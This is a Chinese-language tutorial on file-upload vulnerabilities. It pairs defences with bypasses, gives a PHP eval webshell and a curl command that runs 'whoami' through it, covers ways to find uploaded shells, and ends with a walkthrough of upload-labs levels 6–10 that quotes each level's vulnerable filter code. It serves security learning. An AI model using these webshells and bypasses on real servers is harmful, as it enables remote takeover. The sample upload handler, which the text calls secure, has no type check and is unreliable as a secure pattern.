目录
一、 文件上传防御手段及绕过手段
防御手段
1、白名单扩展名验证:只允许特定类型的文件上传,例如仅允许.jpg、.png等图像文件。
绕过:修改文件扩展名,或者使用合法的双重扩展名(如shell.php.jpg)。
2、MIME类型检查:通过检查文件的MIME类型来确认其内容是否符合预期。
绕过:修改HTTP请求中的Content-Type头或者上传包含合法MIME类型的文件头。
3、文件内容检查:检查上传文件的实际内容,确保没有恶意代码。
绕过:使用编码技术(如base64编码)、混淆代码或隐藏恶意代码在合法内容中。
4、文件路径和目录权限控制:
确保上传的文件只能存储在指定的安全目录下,并且对上传文件的目录设置适当的访问权限。
绕过:利用服务器配置错误或目录遍历漏洞访问其他目录。
5、限制文件大小:设置上传文件的最大尺寸限制。
绕过:将恶意代码嵌入较小的文件中。
6、使用沙箱环境:在隔离环境中处理上传文件,防止恶意代码影响生产环境。
绕过:寻找沙箱环境的漏洞或逃逸途径。
7、使用Web应用防火墙(WAF):部署WAF来监控和过滤恶意请求。
绕过:使用加密或编码技术绕过WAF规则。
8、定期扫描上传目录:定期使用防病毒软件或其他安全工具扫描上传目录,查找潜在威胁。
绕过:利用未扫描的时间窗口或防病毒软件的误报/漏报。
9、输入验证:对所有用户输入的数据进行严格的验证,包括前端和后端。
绕过:通过直接访问后端接口绕过前端验证。
绕过手段
1、扩展名绕过
①修改扩展名:将恶意文件扩展名更改为允许的类型,如将.php
更改为.php.txt
或.jpg.php
。
②双重扩展名:上传一个看似无害的文件,但实际包含了恶意代码,如.png;.php
。
2、MIME类型绕过
①伪造Content-Type:在HTTP请求中伪造Content-Type头,使服务器误认为文件类型为允许的类型。
②更改文件头:修改文件的前几个字节(即文件签名),使其看起来像是另一种类型的文件,如将PHP文件的开头改为GIF89a(这是GIF图像文件的文件头)。
3、文件内容绕过
①编码和混淆:对恶意代码进行base64编码、URL编码或其他形式的编码,使其能够绕过内容检查。
②嵌入合法内容:在合法文件中嵌入恶意代码,比如在图片中嵌入PHP代码。
4、目录遍历:利用路径遍历漏洞(如“../”)将文件保存到不受限的目录中,从而获得执行权限。
5、利用服务器配置
①配置错误:利用服务器或应用配置错误,如错误的.htaccess文件配置或IIS配置,来执行上传的文件。
②解析漏洞:利用某些服务器对多后缀文件的解析规则,如Apache和IIS在处理.php.html
或.php;.txt
时可能会将其作为PHP文件处理。
6、绕过大小限制,分段上传:将较大的恶意文件拆分成多个小文件上传,然后在服务器上合并。
7、绕过前端验证:绕过前端的JavaScript验证逻辑,直接向后端发送请求。
8、已知漏洞利用:利用应用程序或其组件(如CMS插件)中的已知漏洞。
9、社会工程学,诱导管理员:通过社会工程学技巧诱导管理员手动上传恶意文件。
10、利用逻辑错误:利用应用程序逻辑错误,比如上传过程中的条件判断不严或流程控制不当。
二、一句话木马的上传
定义:一句话木马是一种非常简短的脚本,通常用于远程控制Web服务器。它之所以被称为“一句话”,是因为它的代码量非常少,往往只有一行或几行。这类木马通常是用PHP编写的,因为PHP是Web开发中最常用的服务器端脚本语言之一。以下是一个简单的PHP一句话木马的例子:
<?php @eval($_POST['cmd']); ?>
上面这句话的意思是接收POST
请求中的cmd
参数,并执行该参数所代表的PHP代码。这种木马可以让攻击者远程执行任意PHP代码,从而完全控制服务器。下面是一句话木马的上传步骤:
1. 准备木马文件
首先,需要准备一个包含上述代码的一句话木马文件。假设我们将文件命名为webshell.php
。
2. 利用漏洞上传
要上传这个木马文件,通常需要找到并利用Web应用中的漏洞。常见的上传方式包括:
- 文件上传漏洞:利用应用程序中的文件上传功能,将木马文件伪装成合法的文件类型上传。
- 注入漏洞:利用SQL注入或命令注入等漏洞,将木马代码插入到数据库或文件中。
- 目录遍历漏洞:利用路径遍历漏洞将木马文件上传到任意目录。
- 服务器配置漏洞:利用服务器配置错误(如不安全的.htaccess或IIS配置)上传木马。
3. 绕过安全检查
为了成功上传木马,可能需要采取一些绕过措施:
- 更改扩展名:将木马文件扩展名更改为看似无害的扩展名,如
.jpg
或.png
。 - 编码木马内容:使用Base64或其他编码方式对木马内容进行编码,然后在上传后解码。
- 利用文件解析漏洞:利用服务器对文件类型的解析漏洞,上传如
.php;.jpg
或.php.gif
等混合格式的文件。
4. 访问木马
一旦木马文件成功上传到服务器,可以通过浏览器访问其URL来激活它。例如,如果木马位于/var/www/html/shell.php
,则可以通过http://example.com/shell.php
来访问它。
5. 远程控制
访问木马文件后,可以通过发送带有命令的POST
请求来执行任意PHP代码。这通常通过一个客户端工具来完成,如Burp Suite、curl命令或其他专门的WebShell客户端工具。
6.示例请求
使用curl命令发送POST请求的例子如下:
curl -X POST -d "cmd=whoami" http://example.com/shell.php
上述代码将执行whoami
命令,并返回结果。
三、webshell管理工具的使用方法
WebShell管理工具是用于远程管理和控制Web服务器的一种工具,常被用作网站维护、文件管理、数据库管理等用途。下面,是webshell管理工具的使用方法:
1. 登录
认证方式:登录WebShell通常需要用户名和密码,有些工具支持使用API密钥或其他认证方式。
登录地址:一般通过浏览器访问类似http://yourserver.com/path/to/webshell/index.php
这样的URL。
2. 文件管理
浏览文件夹:查看服务器上的文件和文件夹结构。
上传文件:将本地文件上传到服务器指定位置。
下载文件:将服务器上的文件下载到本地计算机。
编辑文件:在线编辑文本文件,如HTML、CSS、JavaScript等。
删除文件/文件夹:删除不需要的文件或文件夹。
重命名文件/文件夹:更改文件或文件夹名称。
创建文件/文件夹:在服务器上创建新文件或文件夹。
3. 文件权限管理
修改文件权限:调整文件或文件夹的权限,如设置为可读、可写、可执行。
更改文件所有者:改变文件或文件夹的所有者或组。
4. 数据库管理
连接数据库:连接到MySQL、SQLite等数据库。
查询数据:执行SQL查询,查看、修改数据库中的数据。
备份/恢复数据库:创建数据库备份或从备份恢复数据库。
5. 其他功能
执行命令:在Web界面上执行Linux或Windows命令。
日志查看:查看服务器的日志文件。
计划任务:设置定时任务,如定期备份、清理缓存等。
四、文件上传无回显查找webshell地址
在文件上传过程中,如果Web应用没有回显上传文件的确切位置或URL,那么查找上传的WebShell地址可能需要一些技巧和猜测。以下是一些常见的方法来定位上传的WebShell文件:
1. 上传时的路径提示
①观察上传页面:在上传文件时,有时页面会显示一个临时路径或文件名。注意页面上的任何提示信息。
②查看响应消息:上传文件后的HTTP响应可能包含有关文件位置的信息。
2. 猜测默认路径
①常见路径:大多数Web应用会将上传文件存储在一个固定的目录中,如/uploads/
、/images/
、/files/
等。
②基于框架的路径:如果你知道Web应用使用的框架或CMS(如WordPress、Drupal等),可以查阅文档或搜索常见上传路径。
3. 利用文件名
①自定义文件名:在上传时,尝试使用一个容易记忆的文件名,便于后续查找。
②随机文件名:有些应用会自动重命名上传文件,此时需要查看上传页面或响应消息中是否有提示。
4. 测试上传文件的路径
①枚举路径:逐一尝试常见的路径组合,如http://example.com/uploads/shell.php
、http://example.com/images/shell.php
等。
②使用工具:可以使用自动化工具如DirBuster、DirBuster或Gobuster等来枚举可能的目录和文件路径。
5. 利用文件扩展名
①双扩展名:如果你上传了如.php.jpg
或.php;.txt
这样的文件,尝试去掉扩展名的一部分,如访问http://example.com/uploads/shell.php
。
②其他扩展名:如果上传时使用了其他扩展名(如.png
、.gif
等),尝试直接访问该URL,看是否能触发PHP解析器。
6. 利用服务器配置
①解析漏洞:某些服务器配置允许解析多后缀文件,如Apache和IIS对.php.html
或.php;.txt
的解析。
②查看服务器日志:如果拥有服务器访问权限,可以查看服务器日志文件,查找上传文件的相关记录。
7. 检查源代码
如果能够访问Web应用的源代码,可以在代码中查找与文件上传相关的部分,了解文件是如何处理和存储的。
8. 利用目录遍历漏洞
如果存在路径遍历漏洞,可以尝试使用../
等字符遍历目录结构,寻找上传的文件。
9. 利用搜索功能
①搜索引擎:如果应用中有搜索引擎功能,尝试使用关键字搜索上传的文件。
②内部搜索:如果应用有内部搜索功能,尝试搜索文件名或相关关键词。
五、文件上传表单的无参/有参情况下构造表单
在Web应用中,文件上传功能通常通过HTML表单实现。根据不同的需求,文件上传表单可以是有参数(有参)或无参数(无参)的。下面分别介绍这两种情况下的表单构造方法。
1. 无参文件上传表单
无参文件上传指的是表单中除了文件上传字段外,没有其他任何参数。这种表单主要用于简单的文件上传场景。
1<form action="/upload.php" method="post" enctype="multipart/form-data">
2 <input type="file" name="uploaded_file">
3 <input type="submit" value="上传文件">
4</form>
整个表单的作用是允许用户选择一个文件,并通过POST请求将该文件发送到指定的URL(在这里是/upload.php
)。当用户点击“上传文件”按钮时,表单会被提交,并将文件数据以multipart/form-data
的形式发送到服务器端指定的脚本进行处理。
2. 有参文件上传表单
有参文件上传指的是表单中不仅包含文件上传字段,还包括其他输入字段。这些附加字段可能是用来收集用户信息、上传选项等。
1<form action="/upload.php" method="post" enctype="multipart/form-data">
2 <label for="username">用户名:</label>
3 <input type="text" id="username" name="username" required><br>
4
5 <label for="description">描述:</label>
6 <textarea id="description" name="description"></textarea><br>
7
8 <label for="uploaded_file">选择文件:</label>
9 <input type="file" id="uploaded_file" name="uploaded_file"><br>
10
11 <input type="submit" value="上传文件">
12</form>
整个表单的作用是允许用户输入用户名、文件描述,并选择一个文件,然后通过POST请求将这些数据发送到指定的URL(在这里是/upload.php
)。当用户点击“上传文件”按钮时,表单会被提交,并将文件数据以及其他表单字段的数据以multipart/form-data
的形式发送到服务器端指定的脚本进行处理。
3.后端处理
无论是在无参还是有参的情况下,后端都需要处理上传的文件:
1<?php
2if ($_SERVER["REQUEST_METHOD"] == "POST") {
3 // 检查是否有文件上传
4 if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) {
5 $tempFile = $_FILES['uploaded_file']['tmp_name'];
6 $targetPath = '/path/to/your/upload/directory/';
7 $targetFile = $targetPath . basename($_FILES['uploaded_file']['name']);
8
9 // 移动上传的文件到目标目录
10 if (move_uploaded_file($tempFile, $targetFile)) {
11 echo "文件上传成功!";
12 } else {
13 echo "文件上传失败,请稍后再试。";
14 }
15 }
16
17 // 处理其他表单字段
18 if (isset($_POST['username'])) {
19 $username = $_POST['username'];
20 echo "用户名: " . htmlspecialchars($username);
21 }
22
23 if (isset($_POST['description'])) {
24 $description = $_POST['description'];
25 echo "<br>描述: " . htmlspecialchars($description);
26 }
27}
28?>
这段代码的作用是接收并处理通过HTML表单上传的文件及其他表单数据。具体而言,代码首先检查请求方法是否为POST,然后验证上传的文件是否存在且上传成功。如果文件上传成功,代码将临时文件从服务器的临时目录移动到指定的目标目录,并输出上传成功的消息。如果文件上传失败,则输出失败原因。此外,代码还会处理表单中的其他字段(如用户名和描述),并将这些信息显示出来。整个过程确保了文件上传的安全性和数据的完整性。
六、upload-labs靶场通关
环境搭建
首先,下载并解压“uploads-labs-master”:
然后,将上述文件夹放在phpstudy_pro下的WWW文件夹下:
随后,打开phpstudy,进行网站配置:
配置完成后,即可打开对应网页:
第六关
首先,编写了一个名为phpinfo.php的一句话木马:
<?php phpinfo();?>
随后尝试上传,发现上传失败:
下面,开始分析源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
根据上述代码,不难发现:这里过滤了很多后缀名格式,但是没有后缀转小写的函数strtolower(),因此可以尝试使用大小写来绕过限制,以此上传php文件:
上传成功!
第七关
首先,上传第六关创建的一句话木马,发现无法直接上传:
然后,分析源代码,查看具体限制:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
根据上述代码,发现:缺少了删除文件末尾点的操作。下面,结合BP抓包,把上传的文件名“phpinfo.php”修改为“phpinfo.php.”:
点击“Forward”,上传成功!
第八关
首先,尝试直接上传php文件:
上传失败,查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
根据上述代码,发现:缺少deldot()函数,因此可以尝试添加一个“.”来尝试绕过:
最后,上传成功!
第九关
首先,尝试直接上传phpinfo.php文件:
这里上传失败了,查看源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
根据上述代码,可知:没有去除字符串::$DATA的这个函数,因此尝试在文件名后添加“::$DATA”:
随后,发现——木马上传成功:
第十关
首先,尝试直接上传木马文件,发现还是失败了:
下面,查看源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
根据上述代码,不难发现:有删除文件名末尾的点和首尾去空。下面尝试结合使用来注入:
最后,发现木马上传成功!